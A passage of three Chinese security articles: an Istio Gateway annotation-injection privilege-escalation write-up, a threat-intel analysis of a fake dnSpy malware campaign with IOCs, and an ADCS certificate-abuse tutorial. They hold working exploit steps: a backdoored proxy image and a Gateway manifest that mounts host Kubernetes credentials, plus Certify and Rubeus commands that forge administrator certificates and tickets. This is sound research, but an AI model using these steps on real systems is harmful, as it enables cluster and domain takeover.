来获取模版文件,sidecar 的模版有一些点非常值得注意,很多敏感值都是取自 annotation
有经验的研究者看到下面 userVolume 就可以猜到大概通过什么操作来完成攻击了。
sidecar.istio.io/proxyImage
sidecar.istio.io/userVolume
sidecar.istio.io/userVolumeMount
gateway deployment controller 注解传递
分析官方公告里的缓解建议,其中有一条就是将 PILOT_ENABLE_GATEWAY_API_DEPLOYMENT_CONTROLLER
环境变量置为 false ,然后结合另一条建议删除 gateways.gateway.networking.k8s.io
的 crd,所以大概率漏洞和创建 gateways 资源有关,翻了翻官方手册注意到了这句话如下图所示,Gateway
资源的注解将会传递到 Service
及 Deployment
资源上。
有了传递这个细节,我们就能对得上漏洞利用的条件了,需要具备 gateways.gateway.networking.k8s.io
资源的 CREATE
权限,接着我们来分析一下 gateway 是如何传递 annotations 和 labels 的,其实大概也能想到还是利用 go template 对内置的 template 进行渲染,直接分析 configureIstioGateway
函数(pilot/pkg/config/kube/gateway/deploymentcontroller.go) ,其主要功能就是把 gateway 需要创建的 Service
及 Deployment
按照 embed.FS
中的模版进行一个渲染,模版文件可以在(pilot/pkg/config/kube/gateway/templates/deployment.yaml)找到,分析模版文件也可以看到 template 中的 annotations 也是从上层的获取传递过来的注解。toYamlMap 可以将 maps 进行合并,注意观察 (strdict "inject.istio.io/templates" "gateway")
位于 .Annotations
前,所以这个点我们可以通过控制 gateway 的注解来覆盖 templates 值选择渲染的模版。
apiVersion: apps/v1
kind: Deployment
metadata:
annotations:
{{ toYamlMap .Annotations | nindent 4 }}
labels:
{{ toYamlMap .Labels
(strdict "gateway.istio.io/managed" "istio.io-gateway-controller")
| nindent 4}}
name: {{.Name}}
namespace: {{.Namespace}}
ownerReferences:
- apiVersion: gateway.networking.k8s.io/v1alpha2
kind: Gateway
name: {{.Name}}
uid: {{.UID}}
spec:
selector:
matchLabels:
istio.io/gateway-name: {{.Name}}
template:
metadata:
annotations:
{{ toYamlMap
(strdict "inject.istio.io/templates" "gateway")
.Annotations
| nindent 8}}
labels:
{{ toYamlMap
(strdict "sidecar.istio.io/inject" "true")
(strdict "istio.io/gateway-name" .Name)
.Labels
| nindent 8}}
漏洞利用
掌握了漏洞利用链路上的细节,我们就可以理出整个思路,创建精心构造过注解的 Gateway 资源及恶意的 proxyv2 镜像,“迷惑”控制器创建非预期的 pod 完成对 Host 主机上的敏感文件进行访问, 如 docker unix socket。
漏洞环境:
istio v1.12.2
kubernetes v1.20.14
kubernetes gateway-api v0.4.0
用下面的命令创建一个 write-only 的 角色,并初始化 istio
curl -L https://istio.io/downloadIstio | ISTIO_VERSION=1.12.2 TARGET_ARCH=x86_64 sh -
istioctl x precheck
istioctl install --set profile=demo -y
kubectl create namespace istio-ingress
kubectl create -f - << EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: gateways-only-create
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["gateways"]
verbs: ["create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-gateways-only-create
subjects:
- kind: User
name: test
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: gateways-only-create
apiGroup: rbac.authorization.k8s.io
EOF
在利用漏洞之前,我们需要先制作一个恶意的 docker 镜像,我这里直接选择了 proxyv2 镜像作为目标镜像,替换其中的 /usr/local/bin/pilot-agent
为 bash 脚本,在 tag 一下 push 到本地的 registry 或者 docker.io 都可以。
docker run -it --entrypoint /bin/sh istio/proxyv2:1.12.1
cp /usr/local/bin/pilot-agent /usr/local/bin/pilot-agent-orig
cat << EOF > /usr/local/bin/pilot-agent
#!/bin/bash
echo $1
if [ $1 != "istio-iptables" ]
then
touch /tmp/test/pwned
ls -lha /tmp/test/*
cat /tmp/test/*
fi
/usr/local/bin/pilot-agent-orig $*
EOF
chmod +x /usr/local/bin/pilot-agent
exit
docker tag 0e87xxxxcc5c xxxx/proxyv2:malicious
commit 之前记得把 image 的 entrypoint 改为 /usr/local/bin/pilot-agent
接着利用下列的命令完成攻击,注意我覆盖了注解中的 inject.istio.io/templates
为 sidecar 使能让 k8s controller 在创建 pod 任务的时候,让其注解中的 inject.istio.io/templates
也为 sidecar,这样 istiod 的 inject webhook 就会按照 sidecar 的模版进行渲染 pod 资源文件, sidecar.istio.io/userVolume
和 sidecar.istio.io/userVolumeMount
我这里挂载了 /etc/kubernetes
目录,为了和上面的恶意镜像相辅相成, POC 的效果就是直接打印出 Host 中 /etc/kubernetes
目录下的凭证及配置文件,利用 kubelet 的凭证或者 admin token 就可以提权完成接管整个集群,当然你也可以挂载 docker.sock 可以做到更完整的利用。
kubectl --as test create -f - << EOF
apiVersion: gateway.networking.k8s.io/v1alpha2
kind: Gateway
metadata:
name: gateway
namespace: istio-ingress
annotations:
inject.istio.io/templates: sidecar
sidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicious
sidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]'
sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]'
spec:
gatewayClassName: istio
listeners:
- name: default
hostname: "*.example.com"
port: 80
protocol: HTTP
allowedRoutes:
namespaces:
from: All
EOF
创建完 Gateway 后 istiod inject webhook 也按照我们的要求创建了 pod
deployments 最终被渲染如下:
apiVersion: apps/v1
kind: Deployment
metadata:
annotations:
deployment.kubernetes.io/revision: "1"
inject.istio.io/templates: sidecar
[...]
sidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicious
sidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]'
sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]'
generation: 1
labels:
gateway.istio.io/managed: istio.io-gateway-controller
name: gateway
namespace: istio-ingress
spec:
progressDeadlineSeconds: 600
replicas: 1
revisionHistoryLimit: 10
selector:
matchLabels:
istio.io/gateway-name: gateway
strategy:
rollingUpdate:
maxSurge: 25%
maxUnavailable: 25%
type: RollingUpdate
template:
metadata:
annotations:
inject.istio.io/templates: sidecar
[...]
sidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicious
sidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]'
sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]'
creationTimestamp: null
labels:
istio.io/gateway-name: gateway
sidecar.istio.io/inject: "true"
spec:
containers:
- image: auto
imagePullPolicy: Always
name: istio-proxy
ports:
- containerPort: 15021
name: status-port
protocol: TCP
readinessProbe:
failureThreshold: 10
httpGet:
path: /healthz/ready
port: 15021
scheme: HTTP
periodSeconds: 2
successThreshold: 1
timeoutSeconds: 2
resources: {}
securityContext:
allowPrivilegeEscalation: true
capabilities:
add:
- NET_BIND_SERVICE
drop:
- ALL
readOnlyRootFilesystem: true
runAsGroup: 1337
runAsNonRoot: false
runAsUser: 0
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
dnsPolicy: ClusterFirst
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
terminationGracePeriodSeconds: 30
攻击效果,成功在 /tmp/test
目录下挂载 kubernetes 目录,可以看到 apiserver 的凭据
总结
虽然 John Howard 与我友好沟通时,反复询问我这和用户直接创建 pod 有何区别?但我觉得整个利用过程也不失为一种新的特权提升的方法。
随着 kubernetes 各种新的 api 从 SIG 孵化出来以及更多新的云原生组件加入进来,在上下文传递的过程中难免会出现这种曲线救国权限溢出的漏洞,我觉得各种云原生的组件 controller 也可以作为重点的审计对象。
实战这个案例有用吗?要说完全能复现这个漏洞的利用过程我觉得是微乎其微的,除非在 infra 中可能会遇到这种场景,k8s 声明式的 api 配合海量组件 watch 资源的变化引入了无限的可能,或许实战中限定资源的读或者写就可以转化成特权提升漏洞。
参考:
Fake dnSpy - 当黑客也不讲伍德
前景提要
dnSpy是一款流行的用于调试,修改和反编译.NET程序的工具。网络安全研究人员在分析 .NET 程序或恶意软件时经常使用。
2022 年1月8日, BLEEPING COMPUTER 发文称, 有攻击者利用恶意的dnSpy针对网络安全研究人员和开发人员发起了一次攻击活动。@MalwareHunterTeam 发布推文披露了分发恶意dnSpy编译版本的Github仓库地址,该版本的dnSpy后续会安装剪切板劫持器, Quasar RAT, 挖矿木马等。
查看 dnSpy 官方版的 Git,发现该工具处于Archived状态,在2020年就已经停止更新,并且没有官方站点。
攻击者正是借助这一点,通过注册 dnspy[.]net 域名, 设计一个非常精美的网站, 来分发恶意的dnSpy 程序。
同时购买Google搜索广告, 使该站点在搜索引擎的结果排名前列,以加深影响范围。
截止 2022 年 1 月 9 日, 该网站已下线
样本分析
dnspy[.]net 下发的为 dnSpy 6.1.8 的修改版,该版本也是官方发布的最后一个版本。
通过修改dnSpy核心模块之一的dnSpy.dll入口代码来完成感染。
dnSpy.dll正常的入口函数如下:
修改的入口添加了一个内存加载的可执行程序
该程序名为dnSpy Reader
并经过混淆
后续会通过mshta下发一些挖矿,剪切板劫持器,RAT等
Github
攻击者创建的两个 github 分别为:
- https[:]//github[.]com/carbonblackz/dnSpy
- https[:]//github[.]com/isharpdev/dnSpy
其中使用的用户名为:isharpdev 和 carbonblackz
,请记住这个名字待会儿我们还会看到它
资产拓线
通过对dnspy[.]net的分析,我们发现一些有趣的痕迹进而可对攻击者进行资产拓线:
dnspy.net
域名 dnspy[.]net 注册时间为2021年4月14日。
该域名存在多个解析记录, 多数为 Cloudflare 提供的 cdn 服务, 然而在查看具体历史解析记录时,我们发现在12月13日- 01月03日该域名使用的IP为45.32.253[.]0
, 与其他几个Cloudflare CDN服务的IP不同,该IP仅有少量的映射记录。
查询该IP的PDNS记录, 可以发现该IP映射的域名大多数都疑似为伪造的域名, 且大部分域名已经下线。
这批域名部分为黑客工具/办公软件等下载站点,且均疑似为某些正常网站的伪造域名。
以及披露事件中的dnspy.net域名, 基于此行为模式,我们怀疑这些域名均为攻击者所拥有的资产,于是对这批域名进行了进一步的分析。
关联域名分析
以 toolbase[.]co 为例, 该域名历史为黑客工具下载站点, 该网站首页的黑客工具解压密码为 “CarbonBlackz
”, 与上传恶意 dnspy 的 Github 用户之一的名字相同。
该站点后续更新页面标题为 Combolist-Cloud , 与45.32.253[.]0
解析记录中存在的combolist.cloud域名记录相同, 部分文件使用 mediafire 或 gofile 进行分发。
该域名疑似为combolist[.]top的伪造站点, combolist[.]top 是一个提供泄露数据的论坛。
torfiles[.]net也同样为一个软件下载站。
Windows-software[.]co以及windows-softeware[.]net均为同一套模板创建的下载站。
shortbase[.]net拥有同dnspy[.]net一样的CyberPanel安装页面.且日期均为2021年12月19日。
下图为dnspy[.]net在WaybackMachine记录中的CyberPanel的历史安装页面。
coolmint[.]net同样为下载站, 截止 2022 年1月12日依然可以访问.但下载链接仅仅是跳转到mega[.]nz
filesr[.]net与toolbase[.]co为同一套模板
此站点的About us
都未做修改,
该页面的内容则是从FileCR[.]com的About us页面修改而来
filesr[.]net的软件使用dropbox进行分发,但当前链接均已失效
最后是zippyfiles[.]net, 该站点为黑客工具下载站
我们还在reddit上发现了一个名为tuki1986
的用户两个月前一直在推广toolbase[.]co及zippyfiles[.]net站点。
该用户在一年前推广的网站为bigwarez[.]net
查看该网站的历史记录发现同样为一个工具下载站点,且关联有多个社交媒体账号。
Facebook@software.download.free.mana
该账号现在推广的网站为itools[.]digital,是一个浏览器插件的下载站。
Facebook组@free.software.bigwarez
领英 - 当前已经无法访问
@free-software-1055261b9
tumblr@bigwarez
继续分析tuki1986的记录发现了另一个网站blackos[.]net
该网站同样为黑客工具下载站点
且在威胁情报平台标注有后门软件
通过该网站发现有一个名为sadoutlook1992
的用户,从18年即开始在各种黑客论坛里发布挂马的黑客工具。
在其最新的活动中,下载链接为zippyfiles[.]net
从恶意的Gihubt仓库及解压密码可知有一个用户名为”CarbonBlackz”, 使用搜索引擎检索该字符串, 发现在知名的数据泄露网站raidforums[.]com有名为“Carbonblackz”的用户。
同样的在俄语的黑灰产论坛里也注册有账号,这两个账号均未发布任何帖子和回复,疑似还未投入使用。
其还在越南最大的论坛中发布软件下载链接:
归因分析
通过查看这些域名的WHOIS信息发现, filesr[.]net的联系邮箱为[email protected]
查询该邮箱的信息关联到一位35岁,疑似来自俄罗斯的人员。
从carbon1986
和tuki1986
这两个ID来看,1986疑似为其出生年份,同时也符合35岁的年龄。
根据这些域名的关联性,行为模式与类似的推广方式,我们认为这些域名与dnspy[.]net的攻击者属于同一批人。
这是一个经过精心构建的恶意组织,其至少从2018年10月即开始行动,通过注册大量的网站,提供挂马的黑客工具/破解软件下载,并在多个社交媒体上进行推广,从而感染黑客,安全研究人员,软件开发者等用户,后续进行挖矿,窃取加密货币或通过RAT软件窃取数据等恶意行为。
结论
破解软件挂马已经屡见不鲜,但对于安全研究人员的攻击则更容易中招,因为一些黑客工具,分析工具的敏感行为更容易被杀软查杀,所以部分安全研究人员可能会关闭防病毒软件来避免烦人的警告。
虽然目前该组织相关的恶意网站,gihub仓库以及用于分发恶意软件的链接大部分已经失效.但安全研究人员和开发人员还是要时刻保持警惕。对于各种破解/泄露的黑客工具建议在虚拟环境下运行,开发类软件,办公软件要从官网或正规渠道下载,且建议使用正版.以避免造成不必要的损失。
IOCs
dnSpy.dll - f00e0affede6e0a533fd0f4f6c71264d
- ip
ip:
45.32.253.0
- domain
zippyfiles.net
windows-software.net
filesr.net
coolmint.net
windows-software.co
dnspy.net
torfiles.net
combolist.cloud
toolbase.co
shortbase.net
blackos.net
bigwarez.net
buysixes.com
itools.digital
4api.net
ADCS 攻击面挖掘与利用
Author: Imanfeng
0x00 前言
在 BlackHat21 中 Specterops 发布了 Active Directory Certificate Services 利用白皮书,尽管 ADCS 并不是默认安装但在大型企业域中通常被广泛部署。本文结合实战讲述如何在域环境中利用 ADCS 手法拿下域控,哪些对象 ACL 可用于更好的权限维持并涉及 ADCS 的基础架构、攻击面、后利用等。
0x01 技术背景
1. 证书服务
PKI公钥基础结构
在 PKI (公钥基础结构)中,数字证书用于将公密钥对的公钥与其所有者的身份相关联。为了验证数字证书中公开的身份,所有者需要使用私钥来响应质询,只有他才能访问。
Microsoft 提供了一个完全集成到 Windows 生态系统中的公钥基础结构 (PKI) 解决方案,用于公钥加密、身份管理、证书分发、证书撤销和证书管理。启用后,会识别注册证书的用户,以便以后进行身份验证或撤销证书,即 Active Directory Certificate Services (ADCS)。
ADCS关键术语
- 根证书颁发机构 (Root Certification Authority)
证书基于信任链,安装的第一个证书颁发机构将是根 CA,它是我们信任链中的起始。 - 从属 CA (Subordinate CA)
从属 CA 是信任链中的子节点,通常比根 CA 低一级。 - 颁发 CA (Issuing CA)
颁发 CA 属于从属 CA,它向端点(例如用户、服务器和客户端)颁发证书,并非所有从属 CA 都需要颁发 CA。 - 独立 CA (Standalone CA)
通常定义是在未加入域的服务器上运行的 CA。 - 企业 CA (Enterprise CA)
通常定义是加入域并与 Active Directory 域服务集成的 CA。 - 电子证书 (Digital Certificate)
用户身份的电子证明,由 Certificate Authority 发放(通常遵循X.509标准)。 - AIA (Authority Information Access)
权威信息访问 (AIA) 应用于 CA 颁发的证书,用于指向此证书颁发者所在的位置引导检查该证书的吊销情况。 - CDP (CRL Distribution Point)
包含有关 CRL 位置的信息,例如 URL (Web Server)或 LDAP 路径 (Active Directory)。 - CRL (Certificate Revocation List)
CRL 是已被撤销的证书列表,客户端使用 CRL 来验证提供的证书是否有效。
ADCS服务架构
微软官方 ADCS 服务架构中的两层 PKI 环境部署结构示例如下:
ORCA1:首先使用本地管理员部署单机离线的根 CA,配置 AIA 及 CRL,导出根 CA 证书和 CRL 文件
- 由于根 CA 需要嵌入到所有验证证书的设备中,所以出于安全考虑,根 CA 通常与客户端之间做网络隔离或关机且不在域内,因为一旦根 CA 遭到管理员误操作或黑客攻击,需要替换所有嵌入设备中的根 CA 证书,成本极高。
- 为了验证由根 CA 颁发的证书,需要使 CRL 验证可用于所有端点,为此将在从属 CA (APP1) 上安装一个 Web 服务器来托管验证内容。根 CA 机器使用频率很低,仅当需要进行添加另一个从属/颁发 CA、更新 CA 或更改 CRL。
APP1:用于端点注册的从属 CA,通常完成以下关键配置
- 将根 CA 证书放入 Active Directory 的配置容器中,这样允许域客户端计算机自动信任根 CA 证书,不需要在组策略中分发该证书。
- 在离线 ORCA1上申请 APP1 的 CA 证书后,利用传输设备将根 CA 证书和 CRL文件放入 APP1 的本地存储中,使 APP1 对根 CA 证书和根 CA CRL 的迅速直接信任。
- 部署 Web Server 以分发证书和 CRL,设置 CDP 及 AIA。
LDAP属性
ADCS 在 LDAP 容器中进行了相关属性定义 CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=
,部分前面提到过
Certificate templates
ADCS 的大部分利用面集中在证书模板中,存储为 CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=
,其 objectClass 为 pKICertificateTemplate
,以下为证书的字段
- 常规设置:证书的有效期
- 请求处理:证书的目的和导出私钥要求
- 加密:要使用的加密服务提供程序 (CSP) 和最小密钥大小
- Extensions:要包含在证书中的 X509v3 扩展列表
- 主题名称:来自请求中用户提供的值,或来自请求证书的域主体身份
- 发布要求:是否需要“CA证书管理员”批准才能通过证书申请
- 安全描述符:证书模板的 ACL,包括拥有注册模板所需的扩展权限
证书模板颁发首先需要在 CA 的 certtmpl.msc
进行模板配置,随后在 certsrv.msc
进行证书模板的发布。在 Extensions 中证书模板对象的 EKU (pKIExtendedKeyUsage) 属性包含一个数组,其内容为模板中已启用的 OID (Object Identifiers)
这些自定义应用程序策略 (EKU oid) 会影响证书的用途,以下 oid 的添加才可以让证书用于 Kerberos 身份认证
描述 | OID |
---|---|
Client Authentication | 1.3.6.1.5.5.7.3.2 |
PKINIT Client Authentication | 1.3.6.1.5.2.3.4 |
Smart Card Logon | 1.3.6.1.4.1.311.20.2.2 |
Any Purpose | 2.5.29.37.0 |
SubCA | (no EKUs) |
Enterprise NTAuth store
NtAuthCertificates 包含所有 CA 的证书列表,不在内的 CA 无法处理用户身份验证证书的申请
向 NTAuth 发布/添加证书:
certutil –dspublish –f IssuingCaFileName.cer NTAuthCA
要查看 NTAuth 中的所有证书:
certutil –viewstore –enterprise NTAuth
要删除 NTAuth 中的证书:
certutil –viewdelstore –enterprise NTAuth
域内机器在注册表中有一份缓存:
HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\NTAuth\Certificates
当组策略开启“自动注册证书”,等组策略更新时才会更新本地缓存。
Certification Authorities & AIA
Certification Authorities 容器对应根 CA 的证书存储。当有新的颁发 CA 安装时,它的证书则会自动放到 AIA 容器中。
来自他们容器的所有证书同样会作为组策略处理的一部分传播到每个网络连通的客户端,当同步出现问题的话 KDC 认证会抛 KDC_ERR_PADATA_TYPE_NOSUPP
报错。
Certificate Revocation List
前面在 PKI 服务架构中提到了,证书吊销列表 (CRL) 是由颁发相应证书的 CA 发布的已吊销证书列表,将证书与 CRL 进行比较是确定证书是否有效的一种方法。
CN=<CA name>,CN=<ADCS server>,CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=
通常证书由序列号标识,CRL 除了吊销证书的序列号之外还包含每个证书的吊销原因和证书被吊销的时间。
2. 证书注册
证书注册流程
ADCS 认证体系中的证书注册流程大致如下:
- 客户端创建公钥/私钥对;
- 将公钥与其他信息 (如证书的主题和证书模板名称) 一起放在证书签名请求 (CSR) 消息中,并使用私钥签署;
- CA 首先判断用户是否允许进行证书申请,证书模板是否存在以及判断请求内容是否符合证书模板;
- 通过审核后,CA 生成含有客户端公钥的证书并使用自己的私钥来签署;
- 签署完的证书可以进行查看并使用。
证书注册方式
1. 证书颁发机构 Web 注册
在部署 CA 时勾选证书颁发机构 Web 注册,即可在 http://CA-Computer/certsrv
身份认证后进行证书申请。
2. 客户端 GUI 注册
域内机器可以使用 certmgr.msc
(用户证书),certlm.msc
(计算机证书) GUI 请求证书
3. 命令行注册
域内机器可以通过 certreq.exe
或Powershell Get-Certificate
申请证书,后面有使用示例
4. DCOM调用
基于 DCOM 的证书注册遵循 MS-WCCE 协议进行证书请求,目前大多数 C#、python、Powershell的 ADCS 利用工具都按照 WCCE 进行证书请求。
证书注册权限
在 Active Directory 中权限控制是基于访问控制模型的,其包含两个基本部分:
- 访问令牌,其中包含有关登录用户的信息
- 安全描述符,其中包含保护安全对象的安全信息
在 ADCS 中使用两种安全性定义注册权限 (主体可以请求证书) ,一个在证书模板 AD 对象上,另一个在企业 CA 本身上。
在颁发 CA 机器上使用 certtmpl.msc
可查看所有证书模板,通过安全扩展可以对证书模板的用户访问权限查看。
可以在颁发 CA 机器上使用 certsrv.msc
查看 CA 对于用户的访问权限设置。
0x02 证书使用
1. 证书认证
Kerberos认证
Kerberos 是域环境中主要的认证协议,其认证流程大致如下:
- AS_REQ:client 用 client_hash 、时间戳向 KDC 进行身份验证;
- AS_REP:KDC 检查 client_hash 与时间戳,如果正确则返回 client 由 krbtgt 哈希加密的 TGT 票据和 PAC 等相关信息;
- TGS_REQ:client 向 KDC 请求 TGS 票据,出示其 TGT 票据和请求的 SPN;
- TGS_REP:KDC 如果识别出 SPN ,则将该服务账户的 NTLM 哈希加密生成的 ST 票据返回给 client;
- AP_REQ:client 使用 ST 请求对应服务,将 PAC 传递给服务进行检查。服务通过 PAC 查看用户的 SID 和用户组等并与自身的 ACL 进行对比,如果不满足则作为适当的 RPC 状态代码返回;
- AP_REP:服务器验证 AP-REQ,如果验证成功则发送 AP-REP,客户端和服务端通过中途生成的 Session key 等信息通过加解密转换验证对方身份。
PKINIT认证
在 RFC 4556 中定义了 PKINIT 为 Kerberos 的扩展协议,可通过 X.509 证书用来获取 Kerberos 票据 (TGT)。
PKINIT 与 Kerberos 差别主要在 AS 阶段:
- PKINIT AS_REQ:发d送内容包含证书,私钥进行签名。KDC 使用公钥对数字签名进行校验,确认后返回使用证书公钥加密的 TGT 并且消息是使用 KDC 私钥签名;
- PKINIT AS_REP:客户端使用 KDC 公钥进行签名校验,随后使用证书私钥解密成功拿到 TGT。
详细的协议流程规范:http://pike.lysator.liu.se/docs/ietf/rfc/45/rfc4556.xml
NTLM凭据
在2016年,通过证书获取 NTLM 的功能就被集成在 kekeo 和 mimikatz 中,核心在于当使用证书进行 PKCA 扩展协议认证的时候,返回的 PAC 中包含了 NTLM 票据。
即使用户密码改了,通过证书随时可以拿到 NTLM。获取能用来进行 Kerberos 身份认证的证书需要满足一下几个条件:
1. 证书模板OID
前面我们提到了,目前已知应用程序策略 (oid) 只有包含了 Client Authentication、PKINIT Client Authentication、Smart Card Logon、Any Purpose、SubCA 时,对应的证书才能充当 PKINIT 身份认证凭据。
2. 证书请求权限
- 用户拥有向 CA 申请证书的权限;
- 用户拥有证书模板申请证书的权限。
2. 证书获取
导出机器证书
通过 certlm.msc
图形化或 certutil.exe
进行证书导出。
当私钥设置为不允许导出的时候,利用 Mimikatz 的 crypto::capi
命令可以 patch 当前进程中的 capi ,从而利用 Crypto APIs 导出含有私钥的证书。
导出用户证书
通过 certmgr.msc
图形化或 certutil.exe
进行用户证书导出。
遇到私钥限制同样可尝试 crypto::capi
导出证书。
本地检索证书
在实战中会遇到证书、私钥文件就在文件夹内并不需要导出,其后缀文件主要有以下几种
后缀 | 描述 |
---|---|
.pfx\ .p12\ .pkcs12 | 含公私钥,通常有密码保护 |
.pem | 含有base64证书及私钥,可利用openssl格式转化 |
.key | 只包含私钥 |
.crt\ .cer | 只包含证书 |
.csr | 证书签名请求文件,不含有公私钥 |
.jks\ .keystore\ .keys | 可能含有 java 应用程序使用的证书和私钥 |
可结合自身需求通过开源工具或自研武器来满足检索文件后缀的需求。
0x03 证书滥用
本节围绕 ADCS 从证书模板的滥用到权限维持滥用进行讲解
1. 证书模板
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 滥用
该错误配置在企业 ADCS 中是最为常见的,需满足的条件为:
- 颁发 CA 授予低权限用户请求权限 (默认)
- 模板中 CA 管理员审批未启用 (默认)
- 模板中不需要授权的签名 (默认)
- 模板允许低权限用户注册
- 模板定义了启用认证的 EKU
- 证书模板允许请求者在 CSR 中指定一个 subjectAltName
如果满足上列条件,当攻击者在请求证书时可通过 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
字段来声明自己的身份,从而可获取到伪造身份的证书,Certify 为白皮书配套的 ADCS 利用工具。
Certify.exe find /vulnerable
使用 certutil.exe -TCAInfo
判断 CA 状态及当前用户请求的权限情况
利用 Certify 的 set altname 来伪造 administrator 身份尝试得到证书
Certify.exe request /ca:"CA01.corp.qihoo.cn\corp-CA01-CA" /template:”ESC1“ /altname:administrator
成功通过申请后可得到含有公私钥的 pem 证书文件,使用 openssl 进行格式转化
/usr/bin/openssl pkcs12 -in ~/cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out ~/cert.pfx
20.11后的 Rubeus 进行了 PKINIT 证书支持,使用 cert.pfx 作为 administrator 身份申请 TGT,成功获得 administrator 的票据
Rubeus4.exe asktgt /user:Administrator /certificate:cert.pfx /password:123456 /outfile:cert.kribi /ptt
Any EKU OR no EKU
与第一种利用需满足的条件前四点相同的用户证书非机器证书,主要差别在 EKU 的描述:
- 颁发 CA 授予低权限用户请求权限 (默认)
- 模板中 CA 管理员审批未启用 (默认)
- 模板中不需要授权的签名 (默认)
- 模板允许低权限用户注册
- 证书模板中定义了 no EKU 或 any EKU
可使用 certutil.exe
检查模板的 pKIExtendedKeyUsage
字段是否为空
certutil -v -dstemplate
通过 Certify 成功定位到恶意模板
该利用方式并不是能直接通过 Kerberos 认证来伪造用户。Any Purpose (OID 2.5.29.37.0) 可以用于任何目的,包括客户端身份验证,如果没有指定eku,即 pkiextendedkeyusag 为空那么该证书就相当于从属 CA 的证书,可以用于任何情况给其他用户来颁发证书。
前面说过 CA 证书不在 NtAuthCertificates 内的话,是无法为身份认证作用来颁发证书的,所以该利用手段无法直接伪造用户,但可以用来签发用于其他应用,例如 ADFS ,它是 Microsoft 作为 Windows Server 的标准角色提供的一项服务,它使用现有的 Active Directory 凭据提供 Web 登录,感兴趣的可以自己搭环境试一试。
注册代理证书滥用
CA 提供一些基本的证书模板,但是标准的 CA 模板不能直接使用,必须首先复制和配置。部分企业出于便利性通过在服务器上设置可由管理员或注册代理来直接代表其他用户注册对应模板得到使用的证书。
实现该功能需要两个配置模板:
- 颁发“注册代理”的证书模板
- 满足代表其他用户进行注册的证书模板
模板一为颁发“注册代理”证书
- 颁发 CA 授予低权限用户请求权限 (默认)
- 模板中 CA 管理员审批未启用 (默认)
- 模板中不需要授权的签名 (默认)
- 模板允许低权限用户注册
- 证书模板中定义了证书请求代理 EKU (1.3.6.1.4.1.311.20.2.1)
模板二为允许使用“注册代理”证书去代表其他用户申请身份认证证书
- 颁发 CA 授予低权限用户请求权限 (默认)
- 模板中 CA 管理员审批未启用 (默认)
- 模板中不需要授权的签名 (默认)
- 模板允许低权限用户注册
- 模板定义了启用认证的 EKU
- 模板模式版本1或大于2并指定应用策略,签发要求证书请求代理 EKU
- 没有在 CA 上对登记代理进行限制 (默认)
申请注册代理证书并连同私钥导出为 esc3_1.pfx
利用 Certify 通过 esc3_1.pfx 代表 administrator 申请 esc3_2.pfx 的身份认证证书,得到的证书同样可以进行 ptt 利用
Certify.exe request /ca:"CA01.corp.qihoo.cn\corp-CA01-CA" /template:ESC3_2 /onbehalfof:administrator /enrollcert:esc3_1.pfx /enrollcertpw:123456
可看到证书颁发给了 administrator
EDITF_ATTRIBUTESUBJECTALTNAME2 滥用
一些企业因业务需求会把颁发 CA + EDITF_ATTRIBUTESUBJECTALTNAME2
来启用 SAN (主题备用名),从而允许用户在申请证书时说明自己身份。例如 CBA for Azure AD 场景中证书通过 NDES 分发到移动设备,用户需要使用 RFC 名称或主体名称作为 SAN 扩展名来声明自己的身份。
至此利用手段与第一种一样均可伪造身份,区别在于一个是证书属性,一个是证书扩展。
- 企业CA授予低权限用户请求权限(默认)
- 模板中CA管理员审批未启用(默认)
- 模板中不需要授权的签名(默认)
- CA +EDITF_ATTRIBUTESUBJECTALTNAME2
通过远程注册表判断 CA 是否开启 SAN 标识
certutil -config "CA01.corp.qihoo.cn\corp-CA01-CA" -getreg "policy\EditFlags"
手动创建利用证书请求
certreq –new usercert.inf certrequest.req
#usercert.inf
[NewRequest]
KeyLength=2048
KeySpec=1
RequestType = PKCS10
Exportable = TRUE
ExportableEncrypted = TRUE
[RequestAttributes]
CertificateTemplate=USER
利用 req 请求上步得到 .cer 含公钥证书,其他字段可翻阅官方文档
certreq -submit -config "CA01.corp.qihoo.cn\corp-CA01-CA" -attrib "SAN:[email protected]" certrequest.req certrequest.cer
将 .cer 导入机器后连同私钥导出为 .pfx ,同样顺利通过 ptt 认证。
2. 访问权限
前面提到,证书模板和证书颁发机构是 AD 中的安全对象,这意味着安全描述符同样可用来指定哪些主体对他们具有特定的权限,详细内容可阅读 ACL 相关文档。
在对应设置中安全选项可用于对用户的权限进行相关设置,我们关注5种权限
权限 | 描述 |
---|---|
Owner | 对象所有人,可以编辑任何属性 |
Full Control | 完全控制对象,可以编辑任何属性 |
WriteOwner | 允许委托人修改对象的安全描述符的所有者部分 |
WriteDacl | 可以修改访问控制 |
WriteProperty | 可以编辑任何属性 |
模板访问权限配置错误
例如我们已经拿下整个域想借助证书模板进行权限维持,那我们可对一个无害正常模板进行相关 ACL 添加
- NT AUTHORITY\Authenticated Users -> WriteDacl
- NT AUTHORITY\Authenticated Users -> WriteProperty
当我们重新回到域内通过密码喷洒等手段再次拿到任意一个用户凭据后,即可将该无害模板变成我们可以利用的提权模板
